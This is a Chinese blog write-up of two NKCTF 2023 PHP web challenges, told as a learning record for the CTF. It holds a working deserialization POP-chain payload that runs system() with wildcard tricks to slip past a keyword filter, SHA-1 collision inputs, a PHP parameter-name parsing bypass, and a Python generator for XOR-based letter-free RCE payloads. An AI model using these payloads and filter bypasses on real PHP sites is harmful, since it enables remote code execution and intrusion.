Z1d10tのBlog

A note for myself,have fun!

  1. 1. 前言
  2. 2. baby_php
  3. 3. esay_php
    1. 3.1. sha1碰撞
    2. 3.2. php命名规则
    3. 3.3. 无数字字母rce

NKCTF 2023 部分WEB WP

前言

这次第一次组队,与舍友一位pwn选手(攻克三道),打还是蛮不错的一次体验,虽然排名没有多靠前吧,坐牢两天终于啃下两道web题目,听说其他都是1day,还是大佬的比赛啊,我这种菜狗就啃啃签到题目,但收获还是很多啊。

最后只攻克了三道,也写写wp吧,也算是给自己记录一下。

img

baby_php

放出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}

function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}

if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>

一道经典的反序列化pop链rce题目,就是我卡在最后怎么绕waf很久,我太菜了。

pop链构造很简单,主要说说waf的绕过把

waf分别禁了f l a g 字符这就导致很多linux命令都不能用了 比如ls cat tac less tail

然后还禁了通配符?*防止我们通过这样模糊操作去getshell

ls 可以通过 dir来绕过 读文件用more来绕过

然后读flag就是很头疼的事情了,这里就是因为他禁了通配符给了我启发

img

参考:https://abcfy2.gitbooks.io/linux_basic/content/first_sense_for_linux/command_learning/wildcard.html

还有一种通配符是[]可以匹配指定范围中的任意字符 那么 f和g就可以用[e-h]来绕过

a是字母表第一个,该怎么绕过呢,我们可以构造[非数字]形式:[^0-9] 这里尖括号就是排除匹配范围,这也就可以包含所有字母 来达到获取a的效果了

本地构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'welcome_to_NKCTF';
}
}

class Happy{
public $shell;
public $cmd;
}
class Hell0{
public $func;
}
$a=new Welcome();
$a->arg = new Hell0();
$a->arg->func = new Happy();
$a->arg->func->shell='system';
$a->arg->func->cmd="more /[e-h]1[^0-9][e-h]";
echo urlencode(serialize($a));
?>

记得最后payload url编码一下 反序列化题目的常用套路了

1
p=O%3A7%3A%22Welcome%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A16%3A%22welcome_to_NKCTF%22%3Bs%3A3%3A%22arg%22%3BO%3A5%3A%22Hell0%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A5%3A%22shell%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22cmd%22%3Bs%3A24%3A%22more++%2F%5Be-h%5D1%5B%5E0-9%5D%5Be-h%5D%22%3B%7D%7D%7D

拿到flag

img

esay_php

放出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
highlight_file(__FILE__);
error_reporting(0);
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
if(isset($_GET['NS_CTF.go'])){
if(isset($_POST['cmd'])){
if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
eval($_POST['cmd']);
}else{
die('error!!!!!!');
}
}else{
die('error!!!!!');
}
}else{
die('error!!!!');
}
}else{
die('error!!!');
}
}else{
die('error!!');
}
}else{
die('error!');
}
?>

这是一道md5弱相等,sha1碰撞,php字符串解析特性这里是考php命名规则合法与否,还有就是无数字字母rce。

sha1碰撞

来看sha1碰撞:

之前有做过md5强相等的题目,因为被string强转化了,所以一些常见的数组绕过就不能用了,只能老实用脚本碰撞,sha1和md5做法很相似。

sha1 — 计算字符串的 sha1 散列值

在这里先说一说md5强类型字符串转换后碰撞相等吧

这里有专门md5碰撞的脚本:https://blog.csdn.net/shuaicenglou3032/article/details/118197904

本地测试

先拿到散列值:

img

本地写一个测试demo

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php 
show_source('index.php');
$a=$_GET['a'];
$b=$_GET['b'];
if((string)$a != (string)$b && md5($a) === md5($b)){
echo "yes";
}
else{
echo "no";
}
?>

这里测试最好在低版本php下测试不然高版本已经被修复了 我这里version是5.3.29

img

测试是可以通过脚本碰撞

再来看sha1()

这里没有找到关于sha1的碰撞脚本,但是找到了两个符合条件的值,之后再遇到拿来用就行。

a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

img

php命名规则

一开始做的时候以为这道题出问题了,最后发现这里有坑。

先来看本地测试,如果我们直接给NS_CTF.go传值,传入后会是什么呢?

img

可见当我们传入的点号被改为了下划线,这里是因为点号在php内是非法命名符,会被转化为下划线

官方文档中有提到:https://www.php.net/manual/zh/language.variables.external.php

img

那么该怎么绕过呢 这里参考:https://xz.aliyun.com/t/11512

构造payload: NS[CTF.go=1就能绕过

img

这里会把第一个[先转化为下划线然后第二个点就不会被转化了

这里我认为是php解析时把第一个[当作了数组的标志但不合法就给转化了 然后以为点是数组里的元素名从而没有转化为下划线

img

这个bug只有当php版本小于8时才会有:参考:https://blog.csdn.net/mochu7777777/article/details/115050295

php8版本修复了这个bug,如图

img

无数字字母rce

这里用到了异或绕过,直接脚本生成,真的很方便 放大佬的理解:https://xz.aliyun.com/t/11929#toc-4

总结的非常好透彻,我就不在这里多言了qwq

放一下构造脚本把:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import re
import requests
import urllib
from sys import *
import os


a=[]
ans1=""
ans2=""
for i in range(0,256): #设置i的范围
c=chr(i)
#将i转换成ascii对应的字符,并赋值给c
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
#设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
if(tmp):
continue
#当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
else:
a.append(i)
#在数组中增加i,这些就是未被系统过滤掉的字符


# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="dir" #参数
def myfun(k,my): #自定义函数
global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错
global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错
for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量
for j in range(i,len(a)): #在上个循环的条件下设置j的范围
if(a[i]^a[j]==ord(my[k])):
ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
myfun(x,mya)#引用自定义的函数
data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值
print(data1)
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
myfun(k,myb)#再次引用自定义函数
data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data2)
本文最后更新于 天前,文中所描述的信息可能已发生改变